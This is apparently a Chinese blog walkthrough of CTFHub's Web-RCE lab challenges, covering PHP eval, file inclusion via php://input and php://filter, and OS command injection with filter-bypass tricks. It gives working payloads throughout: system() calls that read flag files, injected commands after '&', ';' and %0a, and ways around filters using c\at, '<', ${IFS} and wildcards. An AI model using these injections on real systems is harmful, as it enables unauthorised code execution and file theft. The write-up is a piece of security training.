目录

RCE简介

eval执行

文件包含

php://input

读取源代码

远程包含

命令注入

过滤cat

过滤空格

过滤目录分隔符

过滤运算符

综合过滤练习


RCE简介

初学RCE(远程命令/代码执行漏洞)https://blog.csdn.net/qq_43814486/article/details/90020139https://blog.csdn.net/qq_43814486/article/details/90020139

eval执行

启动环境

分析代码,提示我们将命令赋值给cmd执行

我们先查看当前位置的文件,没有什么用

/?cmd=system("ls");

我们查看根目录文件,发现一个 flag_8999 文件

/?cmd=system("ls /");

我们先尝试使用cat 命令查看 flag_8999文件

/?cmd=system("cat /flag_8999");

OK了,成功找到了flag

需要注意的是:最后结尾的分号不可以省略!!

文件包含

补充知识:

isset()函数

strpos()函数

启动环境

分析代码

strpos函数会将我们的file中的flag字段限制,所以并不能为直接为file赋值为flag

点击shell,我们发现shell.txt中有一个变量ctfhub

我们可以将shell.txt赋值给file,在将flag赋值给ctfhub,这样的话我们就可以成功绕过限制!

request = post + get

我们使用HackBar,将命令赋值给shell.txt中的ctfhub

?file=shell.txt 将shell.txt 赋值给file

http://challenge-d82fb33100df49ae.sandbox.ctfhub.com:10800?file=shell.txt
ctfhub=system("ls /");

ctfhub=system("cat /flag");

php://input

补充知识:

php://            访问各个输入/输出流(I/O streams)

php://input    是个可以访问请求的原始数据的只读流。可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。

启动环境:

分析代码它将file前六位取出判断是否为 "php://" ,是的话为ture 执行include($_GET["file"]);

查看phpinfo,发现以下字段,证明是可以使用php://input的。

burpsuite 抓包

POST /?file:php://input
<?php system("ls /")?>

查看flag文件,成功获得flag

<?php system("cat /flag_28869")?>

读取源代码

启动环境

这里尝试使用 php://input ,发现不成功,那我们就换一个。

这里我们使用php伪协议中的php://filter

php://filter 的使用https://blog.csdn.net/destiny1507/article/details/82347371https://blog.csdn.net/destiny1507/article/details/82347371构造payload

/?file=php://filter/resource=/flag
http://challenge-f5f2c46b14eae159.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag

远程包含

启动环境

分析代码:熟悉的strpos()函数

查看PHPinfo文件,发现可以使用php://input

burpsuite 抓包,老套路成功获得flag

POST /?file=php://input
<?php system("ls /")?>
<?php system("cat /falg")?>

命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

补充知识:

linux中命令的链接符号
1.每个命令之间用;隔开
        说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
        说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
        说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

启动环境

我们随便输入一个ip,查看输出

这里我们输入ip & ls ,发现有文件的回显

1.1.1.1 & ls

使用cat查看 文件,我们发现没有文件内容的,我们查看页面源代码即可看到flag

1.1.1.1 & cat 56762100612447.php

这里我们也可以使用管道运行base64加密内容

ip & cat *.php | base64

对第一行进行解码,即可得到flag

过滤cat

过滤了cat命令之后,你还有什么方法能读到 Flag?

启动环境

1.1.1.1 & ls

既然过滤了cat,那我们尝试绕过过滤。

第一种,使用 \ '' "" {任意无意义变量名}等方法均可绕过

1.1.1.1 & c\at flag_103292321323608.php

第二种,使用其他查看文本命令

Linux | 文本文件查看命令https://blog.csdn.net/zhengnianli/article/details/89857683https://blog.csdn.net/zhengnianli/article/details/89857683这里使用 more

1.1.1.1 & more flag_103292321323608.php

这里同样可以输出 base64密文,再解密。 

过滤空格

这次过滤了空格,你能绕过吗

1.1.1.1&ls

我们可以使用重定向符 < 来代替空格

1.1.1.1&cat<flag_3163352345276.php

过滤目录分隔符

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

可以看到 flag_is_here 文件夹

1.1.1.1&ls

这里使用 ; 或者 && 执行多条命令

进入文件夹,显示目录

12.0.0.1;cd flag_is_here;ls

cat 查看flag文件

12.0.0.1;cd flag_is_here;cat flag_536147747793.php 

过滤运算符

过滤了几个运算符, 要怎么绕过呢

& 以及其他的被过滤了 使用 ;

1.1.1.1;ls

1.1.1.1;cat flag_121702315315333.php

依旧可以使用base64

1.1.1.1;base64 flag_121702315315333.php

综合过滤练习

同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

启动环境

审计代码:这里过滤掉了  | ,& ,空格,; ,cat, flag, ctfhub

  • 空格可以用${IFS}

  • cat可以用more

  • flag可以用f***

  • 在linux下,命令分隔符除了;还有%0a

/?ip=127.0.0.1%0als

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_17214794821880.php

RCE 完结!!!

剩余技能上线后会持续更新。

CTFHub技能树 Web-RCE 详解相关推荐

  1. (ASA) Cisco Web ××× 配置详解 [三部曲之一]

    (ASA) Cisco Web ××× 配置详解 [三部曲之一] 注意:本文仅对Web×××特性和配置作介绍,不包含SSL ×××配置,SSL ×××配置将在本版的后续文章中进行介绍.   首先,先来 ...

  2. Stuts的Web.xml 详解

    1 定义头和根元素 部署描述符文件就像所有XML文件一样,必须以一个XML头开始.这个头声明可以使用的XML版本并给出文件的字符编码. DOCYTPE声明必须立即出现在此头之后.这个声明告诉服务器适用 ...

  3. 用python写一个简单的爬虫_Python实现简易Web爬虫详解

    编辑推荐: 本文主要介绍了Python实现简易Web爬虫详解,希望对大家有帮助. 本文来自于脚本之家 ,由火龙果软件Alice编辑,推荐. 简介: 网络爬虫(又被称为网页蜘蛛),网络机器人,是一种按照 ...

  4. [面试专题]Web缓存详解

    Web缓存详解 标签(空格分隔): 缓存 缓存之于性能优化 请求更快:通过将内容缓存在本地浏览器或距离最近的缓存服务器(如CDN),在不影响网站交互的前提下可以大大加快网站加载速度. 降低服务器压力: ...

  5. Web.xml详解(转)

    这篇文章主要是综合网上关于web.xml的一些介绍,希望对大家有所帮助,也欢迎大家一起讨论. ---题记 一.            Web.xml详解: (一)  web.xml加载过程(步骤) 首 ...

  6. Mac下Intellij IDea发布Web项目详解一

    Mac下Intellij IDea发布Web项目详解一 Mac下Intellij IDea发布Java Web项目(适合第一次配置Tomcat的家伙们)详解二 Mac下Intellij IDea发布J ...

  7. (转)asp.net夜话之十一:web.config详解

    在开发中经常会遇到这样的情况,在部署程序时为了保密起见并不将源代码随项目一同发布,而我们开发时的环境与部署环境可能不一致(比如数据库不一样),如果在代码中保存这些配置这些信息部署时需要到用户那里更改代 ...

  8. Web.config详解+asp.net优化(1)

    一.认识Web.config文件 Web.config 文件是一个xml文本文件,它用来储存 asp.NET Web 应用程序的配置信息(如最常用的设置asp.NET Web 应用程序的身份验证方式) ...

  9. Web.config详解+asp.net优化

    Web.config详解+asp.net优化(1) 一.认识Web.config文件 Web.config 文件是一个xml文本文件,它用来储存 asp.NET Web 应用程序的配置信息(如最常用的 ...

  10. Ctfhub解题 web RCE

    Ctfhub解题 web RCE 1. eval执行 2.文件包含 3.php://input 4.读取源代码 5.远程包含 6.命令注入 7.过滤cat 8.过滤空格 9.过滤目录分隔符 10.过滤 ...

最新文章

  1. 【城市沙龙】LiveVideoStack Meet|合肥:在“霸都”邂逅音视频技术
  2. php 工厂静态类,静态工厂模式(Static Factory)
  3. TKStudio MDK 工具链解决办法
  4. 小白科普:Netty有什么用?【转载】
  5. error C2143: syntax error : missing ';' before '}'
  6. 2017云栖大会:阿里巴巴宣布成立达摩院
  7. oracle打开文件模式无效,oracle expdp导入时 提示“ORA-39002: 操作无效 ORA-39070: 无法打开日志文件 ”...
  8. 原生js 样式的操作整理
  9. STM32网络ETH
  10. eclipse的maven项目,如何使用java run main函数
  11. 从0开始python后端开发_前端(html)向后端(python)传递数据_GET_POST
  12. javascript的table 对象 属性 方法
  13. 计算机网络原理(04741)课后习题答案
  14. 苹果4s怎么越狱_unc0ver 越狱工具来袭,免电脑操作,支持 A7-A12,支持iOS11~iOS12.4稳定越狱...
  15. 104规约使用总结(四)——调试工具
  16. 尚学堂马士兵Oracle教程 笔记
  17. 2019大前端浪潮下的年度终结
  18. 脾气暴躁的 Linus 不大可能开喷修改 master
  19. 解决Upload to dev failed. Could not resolve file “sftp://xxx.xxx.xxx.xxx:22/“. (Request failed)
  20. 微信小程序转码机器人❤️免费无水印❤️

热门文章

  1. PS学习之--新建文件和软件界面
  2. Java教程 -- 廖雪峰
  3. AI五大神经网络模型
  4. 短视频怎么做才能赚钱?短视频创作应该注意什么问题?
  5. win7计算机同步中心怎么打开,win7同步中心怎么关闭_关闭win7同步中心如何卸载...
  6. 计算机应用基础考试内容大纲,计算机应用基础考试大纲(范文).doc
  7. 修改织梦友情链接文件避免暴露模板路径
  8. SLC、MLC、TLC三者的区别
  9. Javascript 日志工具blackbird
  10. 谁说苹果不懂中国年?神速上线,没有加急